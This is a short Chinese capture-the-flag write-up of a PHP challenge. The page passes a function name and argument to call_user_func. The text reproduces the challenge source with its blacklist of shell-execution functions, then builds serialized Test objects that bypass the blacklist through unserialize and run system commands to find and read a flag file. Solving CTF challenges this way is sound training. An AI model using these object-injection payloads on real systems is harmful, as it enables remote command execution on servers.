看一下源码
应该是输入的date 作为函数,value作为内部参数的值,将date()函数返回的结果显示在页面上
回去看的时候,意外发现页面有了新的跳转,观察一下发现,页面每隔五秒就会发生一次跳转
所以就抓包看看
抓包发现post传了两个数据,分别是date和输出日期的格式,func为函数名称,p为函数的参数,这两个值传到后端就会执行相应的函数
尝试执行system()函数来执行系统命令
输出了Hacker
应该是有黑名单进行了过滤,
看看能不能拿到源码
具体的函数有,file_get_contents(),highlight_file(),show_source()等
<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
发现类Test中的成员函数__destruct()函数执行了gettime()函数,而该函数则调用了关键函数call_user_func(),再看看黑名单中没有过滤unserialize()函数,此时想到可以尝试反序列化
对于反序列化
看了其他师傅的思路
<?php function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "ls /"; var $func = "system"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $a = new Test(); $b = serialize($a); echo $b; ?>
call_user_func(func,p),就相当于执行func(p),将结果输出到页面上
system("find / -name flag*"):查找所有文件名匹配flag*的文件
system("cat $(find / -name flag)"):打印所有文件名匹配flag*的文件
还有一种
O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
获取/tmp/flagoefiu4r93内容
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
也是可以拿到结果